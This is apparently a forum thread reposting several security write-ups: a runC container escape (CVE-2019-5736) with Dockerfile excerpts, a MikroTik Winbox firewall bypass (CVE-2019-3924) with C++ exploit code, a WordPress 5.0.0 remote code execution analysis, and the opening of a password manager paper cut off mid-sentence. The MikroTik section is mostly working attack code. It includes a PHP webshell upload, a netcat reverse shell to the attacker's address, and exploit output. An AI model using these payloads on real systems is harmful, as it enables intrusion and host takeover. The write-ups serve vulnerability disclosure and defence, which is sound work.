itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary. This is the method used by runC both for creating new containers and for attaching a process to an existing container. The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host. An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root. The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host. Why not runC init? The image above might mislead some to believe the vulnerability (i.e. tricking runC into executing itself) is redundant. That is, why can’t an attacker simply overwrite /proc/[runc-pid]/exe instead? A patch for a similar runC vulnerability, CVE-2016-9962, mitigates this kind of attack. CVE-2016-9962 revealed that the runC init process possessed open file descriptors from the host which could be used by an attacker in the container to traverse the host’s filesystem and thus break out of the container. Part of the patch for this flaw was setting the runc init process as ‘non-dumpable’ before it entering the container. In the context of CVE-2019-5736, the ‘non-dumpable’ flag denies other processes from dereferencing /proc/[pid]/exe, and therefore mitigates overwriting the runC binary through it [1]. Calling execve drops this flag though, and hence the new runC process’ /proc/[runc-pid]/exe is accessible. The Symlink Problem The vulnerability may appear to contradict the way symbolic links are implemented in Linux. Symbolic links simply hold the path to their target. For a runC process, /proc/self/exe should contain something like /usr/sbin/runc. When a symlink is accessed by a process, the kernel uses the path present in the link to find the target under the root of the accessing process. That begs the question – when a process in the container opens the symbolic link to the runC binary, why doesn’t the kernel searches for the runC path inside the container root? The answer is that /proc/[pid]/exe does not follow the normal semantics for symbolic links. Technically this might count as a violation of POSIX, but as I mentioned earlier procfs is a special filesystem. When a process opens /proc/[pid]/exe, there is none of the normal procedure of reading and following the contents of a symlink. Instead, the kernel just gives you access to the open file entry directly. Exploitation Soon after the vulnerability was reported, when no POCs were publicly released yet, I attempted to develop my own POC based on the detailed description of the vulnerability given in the LXC patch addressing it. You can find the complete POC code here. Let’s break down LXC’s description of the vulnerability: when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe The ‘#!’ syntax is called shebang and is used in scripts to specify an interpreter. When the Linux loader encounters the shebang, it runs the interpreter instead of the executable. As seen in the video, the program finally executed by the loader is: interpreter [optional-arg] executable-path When the user runs something like docker exec container-name /bin/bash, the loader will recognize the shebang in the modified bash and execute the interpreter we specified – /proc/self/exe, which is a symlink to the runC binary. We can proceed to overwrite the runC binary from a separate process in the container through /proc/[runc-pid]/exe. The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runC binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing. Basically, we cannot overwrite the runC binary while a process is running it. On the other hand, if the runC process exits, /proc/[runc-pid]/exe will vanish and we will lose the reference to the runC binary. To overcome this, we open /proc/[runc-pid]/exe for reading in our process, which creates a file descriptor at /proc/[our-pid]/fd/3. We then wait for the runC process to exit, and proceed to open /proc/[our-pid]/fd/3 for writing, and overwrite runC. Here is the code for overwrite_runc, shortened for brevity: Let’s see some action! The exploit output shows the steps taken to overwrite runC. You can see that the runC process is running as pid 20054. The video can also be seen here. This method has one setback though – it requires an additional process to run the attacker code. Since containers are started with only one process (i.e. the Docker’s image entry point), this approach couldn’t be used to create a malicious image that will compromise the host when run. Some other POCs you might have seen that implement a similar approach are Frichetten’s and feexd’s. Shared Libraries Approach A different exploitation method is used in the official POC released by runC’s maintainers and is superior to POCs similar to mine since it can be implemented to compromise the host through two separate methods: When a user execs a command into an existing attacker controlled container When a user runs a malicious image We’ll now look into building a malicious image since the previous POC already demonstrated the first scenario. The POC I wrote for this method is heavily based on q3k’s POC, which, to the best of my knowledge, was the first published malicious image POC. You can view the full POC code here. Let’s go over the Dockerfile used to build the malicious image. First, the entry point of the image is set to /proc/self/exe in order to trick runC into executing itself when the image is run. # Create a symbolic link to /proc/self/exe and set it as the image entrypoint RUN set -e -x ;\ ln -s /proc/self/exe /entrypoint ENTRYPOINT [ "/entrypoint" ] RunC is dynamically linked to several shared libraries at run time, which can be listed using the ldd command. When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process. Our Dockerfile builds a malicious version of the libseccomp library: # Append the run_at_link function to the libseccomp-2.3.1/src/api.c file and build libseccomp ADD run_at_link.c /root/run_at_link.c RUN set -e -x ;\ cd /root/libseccomp-2.3.1 ;\ cat /root/run_at_link.c >> src/api.c ;\ DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\ dpkg -i /root/*.deb The Dockerfile appends the content of run_at_link.c one of libsecomp’s source files. Subsequently, the malicious libsecomp is built. The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function [2] for libseccomp after the dynamic linker loads the library into the runC process. Since run_at_link will be executed by the runC process, it can access the runC binary at /proc/self/exe. The runC process must exit for the runC binary to be writable though. To enforce the exit, run_at_link calls the execve syscall to execute overwrite_runc. Since execve doesn’t affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used: The runC process loads the libseccomp library and transfers execution to the run_at_link function. run_at_link opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}. run_at_link calls execve to execute overwrite_runc. The process is no longer running the runC binary, overwrite_runc opens /proc/self/fd/runc_fd_read for writing and overwrites the runC binary. For the following video, I built a malicious image that overwrites the runC binary with a simple script that spawns a reverse shell at port 2345. The docker run command executes runC twice. Once to create and run the container, which executes the POC to overwrite runC, and then again to stop the container using runc delete [3]. The second time runC is executed, it is already overwritten, and hence the reverse shell script is executed instead. The Fix RunC and LXC were both patched using the same approach, which is described clearly in the LXC patch commit: To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail. RunC has been patched using the same method. It re-executes from a temporary copy of itself when it starts or attaches to containers. Consequently, /proc/[runc-pid]/exe now points to the temporary file, and the runC binary can’t be reached from within the container. The temporary file is also sealed to block writing to it, although overwriting it shouldn’t compromise the host. This patch introduced some issues though. The temporary runC copy is created in-memory after the runc init process has already applied the container’s cgroup memory constraints on itself. For containers running with a relatively low memory limit (e.g 10Mb), this can cause processes in the container to be oom-killed (Out Of Memory killed) by the kernel when the runC init process attaches to the container. If you are interested, an issue regarding this complication was created and contains a discussion about alternative fixes that might not introduce the same problem. CVE-2019-5736 and Privileged Containers As a general rule of thumb, privileged containers (of a given container runtime) are less secure then unprivileged containers (of the same runtime). Earlier I stated that the vulnerability affects all Docker containers but only LXC’s privileged containers. So why are Docker unprivileged containers vulnerable while LXC unprivileged containers aren’t? Well, it’s because LXC and Docker define privileged containers differently. In fact, Docker unprivileged containers are considered privileged according to LXC philosophy. Privileged containers are defined as any container where the container uid 0 is mapped to the host's uid 0. The main difference is that LXC runs unprivileged containers in a separate user namespace by default, while Docker doesn’t. User namespaces are a feature of Linux that can be used to separate the container root from the host root. The root inside the container, as well as all other users, are mapped to unprivileged users on the host. In other words, a process can have root access for operations inside the container but is unprivileged for operations outside it. If you would like a more in-depth explanation, I recommend LWN’s namespace series So how does running the container in a user namespace mitigate this vulnerability? The attacker is root inside the container but is mapped to an unprivileged user on the host. Therefore, when the attacker tries to open the host’s runC binary for writing, he is denied by the kernel. You might wonder why Docker doesn’t run containers in a separate user namespace by default. It’s because user namespaces do have some drawbacks in the context of containers, which are a bit out of the scope of this post. If you are interested, Docker and rkt (another container runtime) both list the limitations of running containers in user namespaces. Ending Note I hope this post gave you a bit of insight into the different aspects of this vulnerability. If you are using either runC, Docker, or LXC, don’t forget to update to the patched version. Feel free to reach out with any questions you may have through email or @TwistlockLabs. [1] As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor. [2] For those familiar with Windows DLLs, it resembles DllMain. [3] The container is stopped after overwrite_runc exits, since overwrite_runc was executed as the init process (PID 1) of the container. Yuval Avrahami | Security Researcher Yuval Avrahami is a security researcher at Twistlock, dealing with hacking and securing anything related to containers. Yuval is a veteran of the Israeli Air Force, where he served in the role of a researcher. Sursa: https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
-
- 1
-
-
MikroTik Firewall & NAT Bypass Exploitation from WAN to LAN Jacob Baines Feb 21 A Design Flaw In Making It Rain with MikroTik, I mentioned an undisclosed vulnerability in RouterOS. The vulnerability, which I assigned CVE-2019–3924, allows a remote, unauthenticated attacker to proxy crafted TCP and UDP requests through the router’s Winbox port. Proxied requests can even bypass the router’s firewall to reach LAN hosts. Mistakes were made The proxying behavior is neat, but, to me, the most interesting aspect is that attackers on the WAN can deliver exploits to (nominally) firewall protected hosts on the LAN. This blog will walk through that attack. If you want to skip right to the, sort of complicated, proof of concept video then here it is: A PoC with a network diagram? Pass. The Setup To demonstrate this vulnerability, I need a victim. I don’t have to look far because I have a NUUO NVRMini2 sitting on my desk due to some previous vulnerability work. This NVR is a classic example of a device that should be hidden behind a firewall and probably segmented away from everything else on your network. Join an IoT Botnet in one easy step! In my test setup, I’ve done just that. The NVRMini2 sits behind a MikroTik hAP router with both NAT and firewall enabled. NVRMini2 should be safe from the attacker at 192.168.1.7 One important thing about this setup is that I opened port 8291 in the router’s firewall to allow Winbox access from the WAN. By default, Winbox is only available on the MikroTik hAP via the LAN. Don’t worry, I’m just simulating real world configurations. The attacker, 192.168.1.7, shouldn’t be able to initiate communication with the victim at 10.0.0.252. The firewall should prevent that. Let’s see how the attacker can get at 10.0.0.252 anyways. Probing to Bypass the Firewall CVE-2019–3924 is the result of the router not enforcing authentication on network discovery probes. Under normal circumstances, The Dude authenticates with the router and uploads the probes over the Winbox port. However, one of the binaries that handles the probes (agent) fails to verify whether the remote user is authenticated. Probes are a fairly simple concept. A probe is a set of variables that tells the router how to talk to a host on a given port. The probe supports up to three requests and responses. Responses are matched against a provided regular expression. The following is the builtin HTTP probe. The HTTP probe sends a HEAD request to port 80 and checks if the response starts with “HTTP/1.” In order to bypass the firewall and talk to the NVRMini2 from 192.168.1.7, the attacker just needs to provide the router with a probe that connects to 10.0.0.252:80. The obvious question is, “How do you determine if a LAN host is an NVRMini2?” The NVRMini2 and the various OEM variations all have very similar landing page titles. Using the title tag, you can construct a probe that detects an NVRMini2. The following is taken from my proof on concept on GitHub. I’ve again used my WinboxMessage implementation. bool find_nvrmini2(Winbox_Session& session, std::string& p_address, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address + "\r\nAccept:*/*\r\n\r\n"); msg.add_string(8, "Network Video Recorder Login</title>"); msg.add_u32(3, p_converted_address); // ip address msg.add_u32(4, p_converted_port); // port session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } You can see I constructed a probe that sends an HTTP GET request and looks for “Network Video Recorder Login</title>” in the response. The router, 192.168.1.70, will take in this probe and send it to the host I’ve defined in msg.add_u32(3) and msg.add_u32(4). In this case, that would be 10.0.0.252 and 80 respectively. This logic bypasses the normal firewall rules. The following screenshot shows the attacker (192.168.1.7) using the probe against 10.0.0.254 (Ubuntu 18.04) and 10.0.0.252 (NVRMini2). You can see that the attacker can’t even ping these devices. However, by using the router’s Winbox interface the attacker is able to reach the LAN hosts. Discovery of the NVRMini2 on the supposedly unreachable LAN is neat, but I want to go a step further. I want to gain full access to this network. Let’s find a way to exploit the NVRMini2. Crafting an Exploit The biggest issue with probes is the size limit. The requests and response regular expressions can’t exceed a combined 220 bytes. That means any exploit will have to be concise. My NVRMini2 stack buffer overflow is anything but concise. It takes 170 bytes just to overflow the cookie buffer. Not leaving room for much else. But CVE-2018–11523 looks promising. The code CVE-2018–11523 exploits. Yup. CVE-2018–11523 is an unauthenticated file upload vulnerability. An attacker can use it to upload a PHP webshell. The proof of concept on exploit-db is 461 characters. Way too big. However, with a little ingenuity it can be reduced to 212 characters. POST /upload.php HTTP/1.1 Host:a Content-Type:multipart/form-data;boundary=a Content-Length:96 --a Content-Disposition:form-data;name=userfile;filename=a.php <?php system($_GET['a']);?> --a This exploit creates a minimalist PHP webshell at a.php. Translating it into a probe request is fairly trivial. bool upload_webshell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } Sending the above probe request through the router to 10.0.0.252:80 should create a basic PHP webshell. Crafting a Reverse Shell At this point you could start blindly executing commands on the NVR using the webshell. But being unable to see responses and constantly having to worry about the probe’s size restriction is annoying. Establishing a reverse shell back to the attacker’s box on 192.168.1.7 is a far more ideal solution. Now, it seems to me that there is little reason for an embedded system to have nc with the -e option. Reason rarely seems to have a role in these types of things though. The NVRMini2 is no exception. Of course, nc -e is available. bool execute_reverse_shell(Winbox_Session& session, boost::uint32_t p_converted_address, boost::uint32_t p_converted_port, std::string& p_reverse_ip, std::string& p_reverse_port) { WinboxMessage msg; msg.set_to(104); msg.set_command(1); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n"); msg.add_string(8, "200 OK"); msg.add_u32(3, p_converted_address); msg.add_u32(4, p_converted_port); session.send(msg); msg.reset(); if (!session.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return false; } if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return false; } return msg.get_boolean(0xd); } The probe above executes the command “nc 192.168.1.7 1270 -e /bin/bash” via the webshell at a.php. The nc command will connect back to the attacker’s box with a root shell. Putting It All Together I’ve combined the three sections above into a single exploit. The exploit connects to the router, sends a discovery probe to a LAN target, uploads a webshell, and executes a reverse shell back to a WAN host. albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270 [!] Running in exploitation mode [+] Attempting to connect to a MikroTik router at 192.168.1.70:8291 [+] Connected! [+] Looking for a NUUO NVR at 10.0.0.252:80 [+] Found a NUUO NVR! [+] Uploading a webshell [+] Executing a reverse shell to 192.168.1.7:1270 [+] Done! albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ The listener gets the root shell as expected. Conclusion I found this bug while scrambling to write a blog to respond to a Zerodium tweet. I was not actively doing MikroTik research. Honestly, I’m just trying to get ready for BSidesDublin. What are the people actually doing MikroTik research finding? Are they turning their bugs over to MikroTik (for nothing) or are they selling those bugs to Zerodium? Do I have to spell it out for you? Don’t expose Winbox to the internet. Sursa: https://medium.com/tenable-techblog/mikrotik-firewall-nat-bypass-b8d46398bf24
-
When dealing with modern JavaScript applications, many penetration testers approach from an ‘out-side-in’ perspective, this is approach often misses security issues in plain sight. This talk will attempt to demystify common JavaScript issues which should be better understood/identified during security reviews. We will discuss reviewing applications in code-centric manner by utilizing freely available tools to help start identifying security issues through processes such as linting and dependency auditing.
-
When is a vulnerability actually a vulnerability? I can't answer this question easily, and thus we look at a few examples in this video.
-
- 2
-
-
-
WordPress 5.0.0 Remote Code Execution 19 Feb 2019 by Simon Scannell This blog post details how a combination of a Path Traversal and Local File Inclusion vulnerability lead to Remote Code Execution in the WordPress core. The vulnerability remained uncovered in the WordPress core for over 6 years. Impact An attacker who gains access to an account with at least author privileges on a target WordPress site can execute arbitrary PHP code on the underlying server, leading to a full remote takeover. We sent the WordPress security team details about another vulnerability in the WordPress core that can give attackers exactly such access to any WordPress site, which is currently unfixed. Who is affected? The vulnerability explained in this post was rendered non-exploitable by another security patch in versions 4.9.9 and 5.0.1. However, the Path Traversal is still possible and currently unpatched. Any WordPress site with a plugin installed that incorrectly handles Post Meta entries can make exploitation still possible. We have seen plugins with millions of active installations do this mistake in the past during the preparations for our WordPress security month. According to the download page of WordPress, the software is used by over 33%1 of all websites on the internet. Considering that plugins might reintroduce the issue and taking in factors such as outdated sites, the number of affected installations is still in the millions. Technical Analysis Both the Path Traversal and Local File Inclusion vulnerability was automatically detected by our leading SAST solution RIPS within 3 minutes scan time with a click of a button. However, at first sight the bugs looked not exploitable. It turned out that the exploitation of the vulnerabilities is much more complex but possible. Background - WordPress Image Management When an image is uploaded to a WordPress installation, it is first moved to the uploads directory (wp-content/uploads). WordPress will also create an internal reference to the image in the database, to keep track of meta information such as the owner of the image or the time of the upload. This meta information is stored as Post Meta entries in the database. Each of these entries are a key / value pair, assigned to a certain ID. Example Post Meta reference to an uploaded image ‘evil.jpg’ 12345678 MariaDB [wordpress]> SELECT * FROM wp_postmeta WHERE post_ID = 50; +---------+-------------------------+----------------------------+ | post_id | meta_key | meta_value | +---------+-------------------------+----------------------------+ | 50 | _wp_attached_file | evil.jpg | | 50 | _wp_attachment_metadata | a:5:{s:5:"width";i:450 ... | ... +---------+-------------------------+----------------------------+ In this example, the image has been assigned the post_ID 50. If the user wants to use or edit the image with said ID in the future, WordPress will look up the matching _wp_attached_file meta entry and use it’s value in order to find the file in the wp-content/uploads directory. Core issue - Post Meta entries can be overwritten The issue with these Post Meta entries prior to WordPress 4.9.9 and 5.0.1 is that it was possible to modify any entries and set them to arbitrary values. When an image is updated (e.g. it’s description is changed), the edit_post() function is called. This function directly acts on the $_POST array. Arbitrary Post Meta values can be updated. 1 2 3 4 5 6 7 8 910 function edit_post( $post_data = null ) { if ( empty($postarr) ) $postarr = &$_POST; ⋮ if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_ID, $field, $value ); } } As can be seen, it is possible to inject arbitrary Post Meta entries. Since no check is made on which entries are modified, an attacker can update the _wp_attached_file meta entry and set it to any value. This does not rename the file in any way, it just changes the file WordPress will look for when trying to edit the image. This will lead to a Path Traversal later. Path Traversal via Modified Post Meta The Path Traversal takes place in the wp_crop_image() function which gets called when a user crops an image. The function takes the ID of an image to crop ($attachment_id) and fetches the corresponding _wp_attached_file Post Meta entry from the database. Remember that due to the flaw in edit_post(), $src_file can be set to anything. Simplified wp_crop_image() function. The actual code is located in wp-admin/includes/image.php 1234 function wp_crop_image( $attachment_id, $src_x, ...) { $src_file = $file = get_post_meta( $attachment_id, '_wp_attached_file' ); ⋮ In the next step, WordPress has to make sure the image actually exists and load it. WordPress has two ways of loading the given image. The first is to simply look for the filename provided by the _wp_attached_file Post Meta entry in the wp-content/uploads directory (line 2 of the next code snippet). If that method fails, WordPress will try to download the image from it’s own server as a fallback. To do so it will generate a download URL consisting of the URL of the wp-content/uploads directory and the filename stored in the _wp_attached_file Post Meta entry (line 6). To give a concrete example: If the value stored in the _wp_attached_file Post Meta entry was evil.jpg, then WordPress would first try to check if the file wp-content/uploads/evil.jpg exists. If not, it would try to download the file from the following URL: https://targetserver.com/wp-content/uploads/evil.jpg. The reason for trying to download the image instead of looking for it locally is for the case that some plugin generates the image on the fly when the URL is visited. Take note here that no sanitization whatsoever is performed here. WordPress will simply concatenate the upload directory and the URL with the $src_file user input. Once WordPress has successfully loaded a valid image via wp_get_image_editor(), it will crop the image. 1 2 3 4 5 6 7 8 9101112 ⋮ if ( ! file_exists( "wp-content/uploads/" . $src_file ) ) { // If the file doesn't exist, attempt a URL fopen on the src link. // This can occur with certain file replication plugins. $uploads = wp_get_upload_dir(); $src = $uploads['baseurl'] . "/" . $src_file; } else { $src = "wp-content/uploads/" . $src_file; } $editor = wp_get_image_editor( $src ); ⋮ The cropped image is then saved back to the filesystem (regardless of whether it was downloaded or not). The resulting filename is going to be the $src_file returned by get_post_meta(), which is under control of an attacker. The only modification made to the resulting filename string is that the basename of the file is prepended by cropped- (line 4 of the next code snippet.) To follow the example of the evil.jpg, the resulting filename would be cropped-evil.jpg. WordPress then creates any directories in the resulting path that do not exist yet via wp_mkdir_p() (line 6). It is then finally written to the filesystem using the save() method of the image editor object. The save() method also performs no Path Traversal checks on the given file name. 12345678 ⋮ $src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs ); $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file ); wp_mkdir_p( dirname( $dst_file ) ); $result = $editor->save( $dst_file ); The idea So far, we have discussed that it is possible to determine which file gets loaded into the image editor, since no sanitization checks are performed. However, the image editor will throw an exception if the file is not a valid image. The first assumption might be, that it is only possible to crop images outside the uploads directory then. However, the circumstance that WordPress tries to download the image if it is not found leads to a Remote Code Execution vulnerability. Local File HTTP Download Uploaded file evil.jpg evil.jpg _wp_attached_file evil.jpg?shell.php evil.jpg?shell.php Resulting file that will be loaded wp-content/uploads/evil.jpg?shell.php https://targetserver.com/wp-content/uploads/evil.jpg?shell.php Actual location wp-content/uploads/evil.jpg https://targetserver.com/wp-content/uploads/evil.jpg Resulting filename None - image loading fails evil.jpg?cropped-shell.php The idea is to set _wp_attached_file to evil.jpg?shell.php, which would lead to a HTTP request being made to the following URL: https://targetserver.com/wp-content/uploads/evil.jpg?shell.php. This request would return a valid image file, since everything after the ? is ignored in this context. The resulting filename would be evil.jpg?shell.php. However, although the save() method of the image editor does not check against Path Traversal attacks, it will append the extension of the mime type of the image being loaded to the resulting filename. In this case, the resulting filename would be evil.jpg?cropped-shell.php.jpg. This renders the newly created file harmless again. However, it is still possible to plant the resulting image into any directory by using a payload such as evil.jpg?/../../evil.jpg. Exploiting the Path Traversal - LFI in Theme directory Each WordPress theme is simply a directory located in the wp-content/themes directory of WordPress and provides template files for different cases. For example, if a visitor of a blog wants to view a blog post, WordPress looks for a post.php file in the directory of the currently active theme. If it finds the template it will include() it. In order to add an extra layer of customization, it is possible to select a custom template for certain posts. To do so, a user has to set the _wp_page_template Post Meta entry in the database to such a custom filename. The only limitation here is that the file to be include()‘ed must be located in the directory of the currently active theme. Usually, this directory cannot be accessed and no files can be uploaded. However, by abusing the above described Path Traversal, it is possible to plant a maliciously crafted image into the directory of the currently used theme. The attacker can then create a new post and abuse the same bug that enabled him to update the _wp_attached_file Post Meta entry in order to include() the image. By injecting PHP code into the image, the attacker then gains arbitrary Remote Code Execution. Crafting a malicious image - GD vs Imagick WordPress supports two image editing extensions for PHP: GD and Imagick. The difference between them is that Imagick does not strip exif metadata of the image, in which PHP code can be stored. GD compresses each image it edits and strips all exif metadata. This is a result of how GD processes images. However, exploitation is still possible by crafting an image that contains crafted pixels that will be flipped in a way that results in PHP code execution once GD is done cropping the image. During our efforts to research the internal structures of PHP’s GD extension, an exploitable memory corruption flaw was discovered in libgd. (CVE-2019-69772). Time Line Date What 2018/10/16 Vulnerability reported to the WordPress security team on Hackerone. 2018/10/18 A WordPress Security Team member acknowledges the report and says they will come back once the report is verified. 2018/10/19 Another WordPress Security Team member asks for more information. 2018/10/22 We provide WordPress with more information and provide a complete, 270 line exploit script to help verify the vulnerability, 2018/11/15 WordPress triages the vulnerability and says they were able to replicate it. 2018/12/06 WordPress 5.0 is released, without a patch for the vulnerability. 2018/12/12 WordPress 5.0.1 is released and is a security update. One of the patches makes the vulnerabilities non exploitable by preventing attackers to set arbitrary post meta entries. However, the Path Traversal is still possible and can be exploited if plugins are installed that incorrectly handle Post Meta entries. WordPress 5.0.1 does not address either the Path Traversal or Local File Inclusion vulnerability. 2018/12/19 WordPress 5.0.2 is released. without a patch for the vulnerability. 2019/01/09 WordPress 5.0.3 is released, without a patch for the vulnerability. 2019/01/28 We ask WordPress for an ETA of the next security release so we can coordinate our blog post schedule and release the blog post after the release. 2019/02/14 WordPress proposes a patch. 2019/02/14 We provide feedback on the patch and verify that it prevents exploitation. Summary This blog post detailed a Remote Code Execution in the WordPress core that was present for over 6 years. It became non-exploitable with a patch for another vulnerability reported by RIPS in versions 5.0.1 and 4.9.9. However, the Path Traversal is still possible and can be exploited if a plugin is installed that still allows overwriting of arbitrary Post Data. Since certain authentication to a target WordPress site is needed for exploitation, we decided to make the vulnerability public after 4 months of initially reporting the vulnerabilities. We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue. Sursa: https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
-
- 1
-
-
Password Managers: Under the Hood of Secrets Management
Nytro posted a topic in Tutoriale in engleza
Password Managers: Under the Hood of Secrets Management February 19, 2019 Also see associated blog Abstract: Password managers allow the storage and retrieval of sensitive information from an encrypted database. Users rely on them to provide better security guarantees against trivial exfiltration than alternative ways of storing passwords, such as an unsecured flat text file. In this paper we propose security guarantees password managers should offer and examine the underlying workings of five popular password managers targeting the Windows 10 platform: 1Password 7 [1], 1Password 4 [1], Dashlane [2], KeePass [3], and LastPass [4]. We anticipated that password managers would employ basic security best practices, such as scrubbing secrets from memory when they are not in use and sanitization of memory once a password manager was logged out and placed into a locked state. However, we found that in all password managers we examined, trivial secrets extraction was possible from a locked password manager, including the master password in some cases, exposing up to 60 million users that use the password managers in this study to secrets retrieval from an assumed secure locked state. Introduction: First and foremost, password managers are a good thing. All password managers we have examined add value to the security posture of secrets management, and as Troy Hunt, an active security researcher once wrote, “Password managers don’t have to be perfect, they just have to be better than not having one” [5]. Aside from being an administrative tool to allow users to categorize and better manage their credentials, password managers guide users to avoid bad password practices such as using weak passwords, common passwords, generic passwords, and password reuse. The tradeoff is that users’ credentials are then centrally stored and managed, typically protected by a single master password to unlock a password manager data store. With the rising popularity of password manager use it is safe to assume that adversarial activity will target the growing user base of these password managers. Table 1, below, outlines the number of individual users and business entities for each of the password managers we examine in this paper. Password Manager Users Business Entities 1Password 15,000,000 [6] 30,000 [6] Dashlane 10,000,000 [7] 10,000 [7] KeePass 20,000,000 [8] Unknown LastPass 16,500,000 [9] 43,000 [9] Table 1. Number of private users and business entities of 1Password (all versions), Dashlane, KeePass and LastPass. Motivation: With the proliferation of online services, password use has gone from about 25 passwords per user in 2007 [10] to 130 in 2015 and is projected to grow to 207 in 2020 [11]. This, combined with a userbase of 60 million across password managers we examine in this paper, creates a target rich environment in which adversaries can carefully craft methods to extract an increasingly growing and valuable trove of secrets and credentials. An example in which a password manager appears to have been specifically targeted is an attack that led to the loss of 2578 units of Ethereum (ETH), a cryptocurrency valued at the time of 1.5 million USD. The attack was carried out against a cryptocurrency trading assistant platform, Taylor [12]. Taylor issued a statement that indicated a device which was using 1Password for secrets management was compromised [13]. It remains unclear, whether the attacker found a security issue in 1Password itself or simply discovered the master password in some other way, or whether the compromise had nothing to do with password managers. Given the combination of an increasing number of credentials held in password managers, the value of those secrets and the emerging threats specifically targeting password managers it is important for us to examine the increased risk a user or organization faces in terms of secrets exposure when using a password manager. Our approach for this was to survey popular password managers to determine common defenses they employ against secrets exfiltration. We incorporate the best security features of each into a hypothetical, best possible password manager, that provides a minimum set of guarantees outlined in the next section. Then we compare the password managers studied against those security guarantees. Password Manager Security Guarantees: All password managers studied work in the same basic way. Users enter or generate passwords in the software and add any pertinent metadata (e.g., answers to security questions, and the site the password goes to). This information is encrypted and then decrypted only when it is needed for display, for passing to a browser add-on that fills the password into a website, or for copying to the clipboard for use. Throughout this paper we will refer to password managers in three states of existence: not running, unlocked (and running), and locked (and running; this state assumes the password manager was previously unlocked). We assume that the user does not have additional layers of encryption such as full disk encryption or per process virtualization. We define the three states below: Not Running We define “not running” as a state where the password manager has previously been installed, configured, and interacted with by the user to store secrets, but has not been launched since the last reboot or has been terminated by the user since it was last used. In this “not running” state the password manager should guarantee: There should be no data stored on disk that would offer an attacker leverage toward compromising the database stored on disk (e.g. the master password or encryption key stored in a configuration file). Even if an attacker retrieves the password database from disk, it should be encrypted in such a way that an attacker cannot decrypt it without knowing the master password. The encryption should be designed in such a way that, so long as the user did not use a trivial password, the attacker cannot brute force guess the master password in a reasonable amount of time using commonly available computing resources. Running: Unlocked State We define running in an “unlocked state” as cases where the password manager is running, and where the user has typed in the master password in order to decrypt and access the stored passwords inside the manager. The user may have displayed, copied to clipboard, or otherwise accessed some of the passwords in the password manager. In this “running, unlocked state” the password manager should guarantee: It should not be possible to extract the master password from memory, either directly or in any form that allows the original master password to be recovered. For those stored passwords that have not been displayed/copied/accessed by the user since the password manager was unlocked, it should not be possible to extract those unencrypted passwords from memory. Knowing usability constraints that affect password managers, we concede that: It may be possible to extract those passwords from memory that were displayed/copied/accessed in the current unlocked session. It may be possible to extract cryptographic information derived from the master password sufficient to decrypt other stored passwords, but not the master password itself. Running: Locked State We define “in locked state” as cases where (1) the password manager was just launched but the user has not entered the master password yet, or (2) the user 